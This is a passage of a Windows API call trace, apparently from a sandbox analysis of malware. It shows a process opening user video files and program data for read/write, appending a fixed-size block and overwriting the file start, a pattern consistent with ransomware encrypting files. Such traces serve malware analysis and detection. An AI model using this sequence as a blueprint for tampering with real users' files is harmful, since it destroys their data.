lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x340f2bc*=0x1f8, lpOverlapped=0x0) returned 1 [0068.237] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.237] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x780, lpOverlapped=0x0) returned 1 [0068.237] CloseHandle (hObject=0x1b0) returned 1 [0068.237] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\8INl3nDsCF6wO.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\8inl3ndscf6wo.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.237] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.237] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x5204 [0068.237] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.237] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.237] ReleaseMutex (hMutex=0x128) returned 1 [0068.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8INl3nDsCF6wO.mkv", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8INl3nDsCF6wO.mkv", cchWideChar=17, lpMultiByteStr=0x1e78974, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8INl3nDsCF6wO.mkv", lpUsedDefaultChar=0x0) returned 17 [0068.238] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.238] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x4204 [0068.238] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.238] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x4204 [0068.239] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.239] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.239] WriteFile (in: hFile=0x1b0, lpBuffer=0x261d7d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0068.239] CloseHandle (hObject=0x1b0) returned 1 [0068.239] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\ZA2pAShOT3T7ZXiTE.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\za2pashot3t7zxite.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.239] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.239] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xc5be [0068.239] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.239] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.239] ReleaseMutex (hMutex=0x128) returned 1 [0068.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZA2pAShOT3T7ZXiTE.flv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.240] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ZA2pAShOT3T7ZXiTE.flv", cchWideChar=21, lpMultiByteStr=0x1e78974, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ZA2pAShOT3T7ZXiTE.flv", lpUsedDefaultChar=0x0) returned 21 [0068.240] ReadFile (in: hFile=0x1b0, lpBuffer=0x27292d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27292d8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0068.240] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xb5be [0068.240] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.241] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xb5be [0068.241] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.241] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.241] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0068.241] CloseHandle (hObject=0x1b0) returned 1 [0068.241] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\T2gft44uk0A-Q8336.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\t2gft44uk0a-q8336.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.242] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.242] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4559 [0068.242] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.242] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.242] ReleaseMutex (hMutex=0x128) returned 1 [0068.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="T2gft44uk0A-Q8336.flv", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0068.242] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="T2gft44uk0A-Q8336.flv", cchWideChar=21, lpMultiByteStr=0x1e78974, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T2gft44uk0A-Q8336.flv", lpUsedDefaultChar=0x0) returned 21 [0068.242] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.243] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3559 [0068.243] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.243] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3559 [0068.243] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.243] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.243] WriteFile (in: hFile=0x1b0, lpBuffer=0x261d7d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0068.243] CloseHandle (hObject=0x1b0) returned 1 [0068.243] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.244] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.244] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x10e3588 [0068.244] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.244] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.244] ReleaseMutex (hMutex=0x128) returned 1 [0068.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdbeRdrUpd10110_MUI.msp", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0068.244] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdbeRdrUpd10110_MUI.msp", cchWideChar=23, lpMultiByteStr=0x1e78974, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdbeRdrUpd10110_MUI.msp", lpUsedDefaultChar=0x0) returned 23 [0068.244] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0068.244] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0068.245] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0068.245] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0068.246] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0068.246] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0068.246] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0068.247] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0068.247] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0068.247] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x10e1588 [0068.248] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x2000, lpOverlapped=0x0) returned 1 [0068.248] CloseHandle (hObject=0x1b0) returned 1 [0068.248] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0068.248] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", lpFilePart=0x340f690*="overlay.png") returned 0x63 [0068.248] GetLastError () returned 0x5 [0068.248] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0068.248] LocalFree (hMem=0x70e078) returned 0x0 [0068.248] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0068.248] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0068.249] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0068.249] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0068.249] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png")) returned 0x20 [0068.249] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racmetadata.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0068.250] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat", lpFilePart=0x340f690*="RacMetaData.dat") returned 0x3a [0068.250] GetLastError () returned 0x20 [0068.250] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x51 [0068.250] LocalFree (hMem=0x70dac8) returned 0x0 [0068.250] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0068.250] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0068.250] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0068.250] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0068.250] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racmetadata.dat")) returned 0x2020 [0068.250] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.MSOUC.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.msouc.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.251] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.251] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6ce [0068.251] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.251] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.251] ReleaseMutex (hMutex=0x128) returned 1 [0068.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSOUC.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.251] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.MSOUC.14.1033.hxn", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.MSOUC.14.1033.hxn", lpUsedDefaultChar=0x0) returned 20 [0068.251] ReadFile (in: hFile=0x1b0, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6ce, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x340f2bc*=0x6ce, lpOverlapped=0x0) returned 1 [0068.251] CloseHandle (hObject=0x1b0) returned 1 [0068.251] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.SETLANG.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.setlang.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.252] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.252] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6da [0068.252] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.252] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.252] ReleaseMutex (hMutex=0x128) returned 1 [0068.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.SETLANG.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0068.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MS.SETLANG.14.1033.hxn", cchWideChar=22, lpMultiByteStr=0x1e78974, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MS.SETLANG.14.1033.hxn", lpUsedDefaultChar=0x0) returned 22 [0068.252] ReadFile (in: hFile=0x1b0, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6da, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x340f2bc*=0x6da, lpOverlapped=0x0) returned 1 [0068.252] CloseHandle (hObject=0x1b0) returned 1 [0068.252] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl" (normalized: "c:\\users\\all users\\microsoft help\\nslist.hxl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.252] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.252] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2764 [0068.252] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.252] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.253] ReleaseMutex (hMutex=0x128) returned 1 [0068.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nslist.hxl", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0068.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nslist.hxl", cchWideChar=10, lpMultiByteStr=0x1e633ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nslist.hxl", lpUsedDefaultChar=0x0) returned 10 [0068.253] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.253] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1764 [0068.253] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.253] CloseHandle (hObject=0x1b0) returned 1 [0068.253] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.253] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.253] 